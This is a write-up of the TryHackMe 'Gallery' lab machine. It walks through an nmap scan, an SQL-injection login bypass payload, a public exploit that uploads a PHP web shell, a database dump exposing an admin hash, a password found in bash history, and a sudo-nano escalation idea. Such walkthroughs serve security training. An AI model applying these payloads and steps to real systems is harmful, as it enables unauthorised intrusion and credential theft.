This is my writeup for the Gallery room/machine of TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…
Machine
Our gallery is not very well secured.
The machine is rated as an easy machine and if you’re looking for a simple machine to practice/learn…do it. If you’re confortable with THM medium/hard rooms it will be a good exercise!
The techiques used in this machine over a small enumeration:
Point 0: add the IP into the /etc/hosts as gallery.thm
First of all I run a classic nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -sC -sV -p- gallery.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 11:29 GMT
Nmap scan report for 10.10.92.236
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set|_http-title: Simple Image Gallery System
I’m looking at a Linux machine with two open ports: 80 and 8080.
When I browse the page 80 I reach just the default apache/ubuntu default home page, I run a gobuster in order to find some directories:
Before bruteforcing, trying something else etc etc I checked on the exploit-db if this application have an exploit or some PoC and…there is!
The exploit is pretty clear and is described as “Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)”, looking at the code at the login part there is something interesting:
1
2
3
4
5
print("Login Bypass")request_url=url+"/classes/Login.php?f=login"post_data={"username":"admin' or '1'='1'#","password":""}
I simply tried it before running the exploit, a simple login with user admin' or ‘1’=‘1’# without password
Login bypass
and it works. Let’s run the full exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
searchsploit -m 50214
python3 50214.py
TARGET= http://gallery.thm/gallery
Login Bypass
shell name TagovazehvslayeqmwpLetta
protecting user
User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin
shell uploading
- OK -
Shell URL : http://gallery.thm/gallery/uploads/1644666120_TagovazehvslayeqmwpLetta.php?cmd=whoami
I can finally check if it the payload was uploaded
and it was. I move to the next step, I run a netcat listener on my local machine port 4444 and instead of the whoami command I run a shell (python). From my browser I run this request:
mysql -u gallery_user -p[REDACTED]
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 44
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use gallery_db
use gallery_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [gallery_db]> show tables;
show tables;
+----------------------+
| Tables_in_gallery_db |
+----------------------+
| album_list || images || system_info || users |
+----------------------+
4 rows in set(0.00 sec)
ERROR 1064(42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'users' at line 1
MariaDB [gallery_db]> select * from users;select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| id | firstname | lastname | username | password | avatar | last_login |type| date_added | date_updated |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
|1| Adminstrator | Admin | admin | redacted-hash- | uploads/1644667020_TagogndeuidsyonnpjoLetta.php | NULL |1| 2021-01-20 14:02:37 | 2022-02-12 11:57:29 |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
1 row in set(0.00 sec)
And I found the hash of the user admin.
PE to mike
There is a user with the flag, the user mike.
I was lazy, really lazy and I used linpeas.sh for checking the possible and visible misconfigurations. What linpeas found was really interesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
....
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.21p2
Vulnerable to CVE-2021-4034
╔══════════╣ Searching passwords in history files
@stats = stats
@items ={ _seq_: 1}
@threads ={ _seq_: "A"}
sudo -lb3[REDACTED]x
sudo -l
It seems mike wrongly wrote a sudo -l command and he wrote the password on the same line. And it was saved on the bash_history file.
It seems weird..but try it :)
1
2
3
4
5
6
7
8
9
10
11
12
www-data@gallery:/home/mike$ su - mike
Password: 3[REDACTED]x
mike@gallery:~$ id
id
uid=1001(mike)gid=1001(mike)groups=1001(mike)
mike@gallery:~$ cd /home/mike
cd /home/mike
mike@gallery:~$ cat user.txt
cat user.txt
THM{redacted}
To better understand where/what linpeas is checking just read the code of the script. The requested files are into /var/backups
mike@gallery:~$ sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
mike@gallery:~$ cat /opt/rootkit.sh
cat /opt/rootkit.sh
#!/bin/bashread -e -p "Would you like to versioncheck, update, list or read the report ? " ans;# Execute your choicecase$ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;read)
/bin/nano /root/report.txt;;
*)
exit;;esac
mike@gallery:~$ exportTERM=linux
mike@gallery:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? readread
Using the read function in a fully interactive shell you can abuse the sudo privilege of nano.
I didn’t tried this solution because I had several issue with the interactive shell (I must fix it…yes) but it is explained on the official creator page writeup.
